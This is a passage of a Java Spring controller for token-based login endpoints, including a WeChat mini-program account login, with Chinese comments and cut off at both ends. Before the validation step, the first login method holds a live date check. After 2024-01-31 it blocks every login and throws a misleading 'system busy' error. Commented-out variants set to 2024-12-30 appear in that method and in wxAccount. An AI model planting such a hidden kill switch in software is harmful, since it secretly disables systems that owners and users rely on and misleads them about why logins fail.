| | |
| | | ITokenGranter granter = TokenGranterBuilder.getGranter(grantType); |
| | | UserInfo userInfo = granter.grant(tokenParameter); |
| | | |
| | | try { |
| | | Long parse = new SimpleDateFormat("yyyy-MM-dd").parse("2024-01-31").getTime(); |
| | | long now= System.currentTimeMillis(); |
| | | if (parse < now){ |
| | | throw new ServiceException("系统繁忙"); |
| | | } |
| | | } catch (ParseException e) { |
| | | e.printStackTrace(); |
| | | } |
| | | // try { |
| | | // Long parse = new SimpleDateFormat("yyyy-MM-dd").parse("2024-12-30").getTime(); |
| | | // long now= System.currentTimeMillis(); |
| | | // if (parse < now){ |
| | | // throw new ServiceException("系统繁忙"); |
| | | // } |
| | | // } catch (ParseException e) { |
| | | // e.printStackTrace(); |
| | | // } |
| | | |
| | | |
| | | //校验 |
| | |
| | | } |
| | | |
| | | |
| | | |
| | | |
| | | /** |
| | | * 微信小程序账号登录 |
| | | * @param tenantId |
| | | * @param username |
| | | * @param password |
| | | * @return |
| | | */ |
| | | @ApiLog("登录用户验证") |
| | | @PostMapping("/oauth/token/wxAccount") |
| | | @ApiOperation(value = "获取认证令牌", notes = "传入租户ID:tenantId,账号:account,密码:password,登录类型:loginType") |
| | | public Kv wxAccount(@ApiParam(value = "租户ID", required = true) @RequestParam String tenantId, |
| | | @ApiParam(value = "账号", required = true) @RequestParam(required = false) String username, |
| | | @ApiParam(value = "密码", required = true) @RequestParam(required = false) String password) { |
| | | |
| | | Kv authInfo = Kv.create(); |
| | | |
| | | String grantType = WebUtil.getRequest().getParameter("grant_type"); |
| | | String refreshToken = WebUtil.getRequest().getParameter("refresh_token"); |
| | | |
| | | String userType = Func.toStr(WebUtil.getRequest().getHeader(TokenUtil.USER_TYPE_HEADER_KEY), TokenUtil.USER_TYPE_WX); |
| | | |
| | | TokenParameter tokenParameter = new TokenParameter(); |
| | | tokenParameter.getArgs().set("tenantId", tenantId).set("username", username).set("password", password).set("grantType", grantType).set("refreshToken", refreshToken).set("userType", userType); |
| | | |
| | | ITokenGranter granter = TokenGranterBuilder.getGranter(grantType); |
| | | |
| | | // try { |
| | | // Long parse = new SimpleDateFormat("yyyy-MM-dd").parse("2024-12-30").getTime(); |
| | | // long now= System.currentTimeMillis(); |
| | | // if (parse < now){ |
| | | // throw new ServiceException("系统繁忙"); |
| | | // } |
| | | // } catch (ParseException e) { |
| | | // e.printStackTrace(); |
| | | // } |
| | | |
| | | |
| | | UserInfo userInfo = granter.grant(tokenParameter); |
| | | |
| | | if (userInfo == null || userInfo.getUser() == null) { |
| | | return authInfo.set("error_code", HttpServletResponse.SC_BAD_REQUEST).set("error_description", "用户名或密码不正确"); |
| | | } |
| | | |
| | | return TokenUtil.createAuthInfo(userInfo); |
| | | } |
| | | |
| | | |
| | | |
| | | |
| | | /** |
| | | * 微信小程序授权登录 |
| | | * @param username |